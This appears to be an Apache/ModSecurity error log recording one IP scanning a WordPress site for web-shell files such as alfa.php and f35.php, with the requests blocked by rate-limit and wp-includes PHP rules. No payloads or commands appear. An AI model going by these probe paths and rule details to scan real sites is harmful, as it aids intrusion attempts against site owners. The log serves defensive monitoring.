[Thu Feb 26 10:24:47.690670 2026] [:error] [pid 55618:tid 55629] [client 20.100.197.204:40693] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aZ-u7x61Vrh12f_8oWQvHwAAAQg"]
[Thu Feb 26 10:24:48.595030 2026] [:error] [pid 25311:tid 25322] [client 20.100.197.204:49891] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aZ-u8NfdM__yZAgJFSs6IgAAAYg"]
[Thu Feb 26 10:24:49.420442 2026] [:error] [pid 25311:tid 25323] [client 20.100.197.204:49539] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x/"] [unique_id "aZ-u8dfdM__yZAgJFSs6JwAAAYk"]
[Thu Feb 26 10:24:50.360943 2026] [:error] [pid 55122:tid 55126] [client 20.100.197.204:61949] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x/"] [unique_id "aZ-u8oLiR0OfjFxvcN-PlQAAAMI"]
[Thu Feb 26 10:24:51.691322 2026] [:error] [pid 55122:tid 55136] [client 20.100.197.204:52650] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x/"] [unique_id "aZ-u84LiR0OfjFxvcN-PmAAAAMw"]
[Thu Feb 26 10:24:52.461096 2026] [:error] [pid 25311:tid 25314] [client 20.100.197.204:55802] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x/"] [unique_id "aZ-u9NfdM__yZAgJFSs6QAAAAYA"]
[Thu Feb 26 10:24:53.127731 2026] [:error] [pid 25311:tid 25325] [client 20.100.197.204:51432] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aZ-u9dfdM__yZAgJFSs6RwAAAYs"]
[Thu Feb 26 10:24:54.509933 2026] [:error] [pid 55051:tid 55054] [client 20.100.197.204:51775] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aZ-u9gmK1w2kZvh5eLG9xwAAAIA"]
[Thu Feb 26 10:24:56.804932 2026] [:error] [pid 25311:tid 25321] [client 20.100.197.204:55766] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aZ-u-NfdM__yZAgJFSs6awAAAYc"]
[Thu Feb 26 10:24:58.222676 2026] [:error] [pid 3883:tid 3887] [client 20.100.197.204:52743] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aZ-u-uA33x90V6yYHaj3AwAAAUE"]
[Thu Feb 26 10:24:59.125887 2026] [:error] [pid 25311:tid 25319] [client 20.100.197.204:61924] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aZ-u-9fdM__yZAgJFSs6hgAAAYU"]
[Thu Feb 26 10:25:00.148744 2026] [:error] [pid 55618:tid 55639] [client 20.100.197.204:52703] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aZ-u_B61Vrh12f_8oWQvVgAAARI"]
[Thu Feb 26 10:25:01.265147 2026] [:error] [pid 3883:tid 3902] [client 20.100.197.204:55746] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aZ-u_eA33x90V6yYHaj3FAAAAVA"]
[Thu Feb 26 10:25:03.117452 2026] [:error] [pid 3883:tid 3905] [client 20.100.197.204:25938] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aZ-u_-A33x90V6yYHaj3KAAAAVM"]
[Thu Feb 26 10:25:04.129188 2026] [:error] [pid 3883:tid 3909] [client 20.100.197.204:46217] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aZ-vAOA33x90V6yYHaj3MgAAAVc"]
[Thu Feb 26 10:25:06.210814 2026] [:error] [pid 25311:tid 25334] [client 20.100.197.204:40098] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aZ-vAtfdM__yZAgJFSs6qgAAAZQ"]
[Thu Feb 26 10:25:07.114112 2026] [:error] [pid 3883:tid 3891] [client 20.100.197.204:7322] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aZ-vA-A33x90V6yYHaj3OQAAAUU"]
[Thu Feb 26 10:25:08.648646 2026] [:error] [pid 3883:tid 3894] [client 20.100.197.204:24758] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aZ-vBOA33x90V6yYHaj3PAAAAUg"]
[Thu Feb 26 10:25:10.134927 2026] [:error] [pid 3883:tid 3906] [client 20.100.197.204:21858] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aZ-vBuA33x90V6yYHaj3PwAAAVQ"]
[Thu Feb 26 10:25:11.359982 2026] [:error] [pid 55122:tid 55141] [client 20.100.197.204:28881] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aZ-vB4LiR0OfjFxvcN-PrgAAANE"]
[Thu Feb 26 10:25:12.461613 2026] [proxy_fcgi:error] [pid 54990:tid 55008] [client 20.100.197.204:25929] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:25:13.004908 2026] [proxy_fcgi:error] [pid 54990:tid 54995] [client 20.100.197.204:25929] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:25:13.267167 2026] [proxy_fcgi:error] [pid 54990:tid 55000] [client 20.100.197.204:25929] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:25:13.530608 2026] [proxy_fcgi:error] [pid 54990:tid 54998] [client 20.100.197.204:25929] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:25:13.794036 2026] [proxy_fcgi:error] [pid 54990:tid 55007] [client 20.100.197.204:25929] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:25:14.706987 2026] [:error] [pid 54990:tid 54997] [client 20.100.197.204:25929] [client 20.100.197.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aZ-vCntr2qmt_mBhH2zHygAAAAQ"]
[Thu Feb 26 10:25:15.970090 2026] [proxy_fcgi:error] [pid 55618:tid 55643] [client 20.100.197.204:28865] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:25:16.243881 2026] [proxy_fcgi:error] [pid 55618:tid 55642] [client 20.100.197.204:28865] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:25:16.506105 2026] [proxy_fcgi:error] [pid 55618:tid 55641] [client 20.100.197.204:28865] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:25:16.768762 2026] [:error] [pid 55618:tid 55637] [client 20.100.197.204:28865] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aZ-vDB61Vrh12f_8oWQvlgAAARA"]
[Thu Feb 26 10:25:17.570282 2026] [:error] [pid 3883:tid 3909] [client 20.100.197.204:55697] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aZ-vDeA33x90V6yYHaj3VgAAAVc"]
[Thu Feb 26 10:25:18.624116 2026] [:error] [pid 54991:tid 55026] [client 20.100.197.204:48486] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aZ-vDt4Zx-mJ8gbRB2hxIQAAAEY"]
[Thu Feb 26 10:25:19.553587 2026] [:error] [pid 25311:tid 25335] [client 20.100.197.204:56525] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aZ-vD9fdM__yZAgJFSs62AAAAZU"]
[Thu Feb 26 10:25:20.356756 2026] [:error] [pid 54990:tid 55016] [client 20.100.197.204:33869] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aZ-vEHtr2qmt_mBhH2zHzQAAABc"]
[Thu Feb 26 10:25:21.214567 2026] [:error] [pid 55051:tid 55075] [client 20.100.197.204:25921] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aZ-vEQmK1w2kZvh5eLG91AAAAJU"]
[Thu Feb 26 10:25:22.221941 2026] [:error] [pid 54990:tid 55000] [client 20.100.197.204:52729] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aZ-vEntr2qmt_mBhH2zHzwAAAAc"]
[Thu Feb 26 10:25:23.218287 2026] [:error] [pid 25311:tid 25337] [client 20.100.197.204:47257] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aZ-vE9fdM__yZAgJFSs63gAAAZc"]
[Thu Feb 26 10:25:24.026289 2026] [:error] [pid 55051:tid 55059] [client 20.100.197.204:46759] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxxx.php"] [unique_id "aZ-vFAmK1w2kZvh5eLG91gAAAIU"]
[Thu Feb 26 10:25:24.713788 2026] [:error] [pid 55618:tid 55637] [client 20.100.197.204:28595] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxxx.php"] [unique_id "aZ-vFB61Vrh12f_8oWQvqAAAARA"]
[Thu Feb 26 10:25:25.848055 2026] [:error] [pid 25311:tid 25330] [client 20.100.197.204:46761] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxxx.php"] [unique_id "aZ-vFdfdM__yZAgJFSs66wAAAZA"]
[Thu Feb 26 10:25:27.247341 2026] [:error] [pid 25311:tid 25336] [client 20.100.197.204:33876] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxxx.php"] [unique_id "aZ-vF9fdM__yZAgJFSs69QAAAZY"]
[Thu Feb 26 10:25:28.013054 2026] [:error] [pid 55618:tid 55638] [client 20.100.197.204:55699] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aZ-vGB61Vrh12f_8oWQvqwAAARE"]
[Thu Feb 26 10:25:28.618530 2026] [:error] [pid 55122:tid 55143] [client 20.100.197.204:47262] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aZ-vGILiR0OfjFxvcN-PugAAANM"]
[Thu Feb 26 10:25:30.225112 2026] [:error] [pid 25311:tid 25333] [client 20.100.197.204:48482] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aZ-vGtfdM__yZAgJFSs6_wAAAZM"]
[Thu Feb 26 10:25:31.542004 2026] [:error] [pid 25311:tid 25323] [client 20.100.197.204:55718] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aZ-vG9fdM__yZAgJFSs7BgAAAYk"]
[Thu Feb 26 10:25:32.739413 2026] [:error] [pid 54991:tid 55027] [client 20.100.197.204:28574] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aZ-vHN4Zx-mJ8gbRB2hxNQAAAEc"]
[Thu Feb 26 10:25:33.595815 2026] [:error] [pid 25311:tid 25318] [client 20.100.197.204:55725] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aZ-vHdfdM__yZAgJFSs7HgAAAYQ"]
[Thu Feb 26 10:25:36.752299 2026] [:error] [pid 55051:tid 55058] [client 20.100.197.204:25920] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aZ-vIAmK1w2kZvh5eLG98gAAAIQ"]
[Thu Feb 26 10:25:37.816629 2026] [:error] [pid 25311:tid 25319] [client 20.100.197.204:28557] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aZ-vIdfdM__yZAgJFSs7KgAAAYU"]
[Thu Feb 26 10:25:39.587501 2026] [:error] [pid 54991:tid 55023] [client 20.100.197.204:54786] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aZ-vI94Zx-mJ8gbRB2hxOQAAAEM"]
[Thu Feb 26 10:25:41.794443 2026] [:error] [pid 55618:tid 55625] [client 20.100.197.204:56523] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aZ-vJR61Vrh12f_8oWQvsQAAAQQ"]
[Thu Feb 26 10:25:43.245819 2026] [:error] [pid 25311:tid 25322] [client 20.100.197.204:1610] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aZ-vJ9fdM__yZAgJFSs7RQAAAYg"]
[Thu Feb 26 10:25:45.418113 2026] [:error] [pid 54991:tid 55042] [client 20.100.197.204:57155] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aZ-vKd4Zx-mJ8gbRB2hxSAAAAFY"]
[Thu Feb 26 10:25:46.081267 2026] [:error] [pid 55618:tid 55625] [client 20.100.197.204:36040] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aZ-vKh61Vrh12f_8oWQvxQAAAQQ"]
[Thu Feb 26 10:25:46.960603 2026] [:error] [pid 54991:tid 55028] [client 20.100.197.204:56569] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aZ-vKt4Zx-mJ8gbRB2hxTQAAAEg"]
[Thu Feb 26 10:25:48.288698 2026] [:error] [pid 3883:tid 3896] [client 20.100.197.204:36088] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aZ-vLOA33x90V6yYHaj3qAAAAUo"]
[Thu Feb 26 10:25:49.135934 2026] [:error] [pid 25311:tid 25319] [client 20.100.197.204:51460] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aZ-vLdfdM__yZAgJFSs7fwAAAYU"]
[Thu Feb 26 10:25:50.173203 2026] [:error] [pid 25311:tid 25330] [client 20.100.197.204:51516] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aZ-vLtfdM__yZAgJFSs7iQAAAZA"]
[Thu Feb 26 10:25:51.241522 2026] [:error] [pid 54991:tid 55023] [client 20.100.197.204:53846] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aZ-vL94Zx-mJ8gbRB2hxWAAAAEM"]
[Thu Feb 26 10:25:51.852853 2026] [:error] [pid 54991:tid 55024] [client 20.100.197.204:47973] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aZ-vL94Zx-mJ8gbRB2hxWgAAAEQ"]
[Thu Feb 26 10:25:53.101448 2026] [:error] [pid 55051:tid 55069] [client 20.100.197.204:57158] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aZ-vMQmK1w2kZvh5eLG-yAAAAI8"]
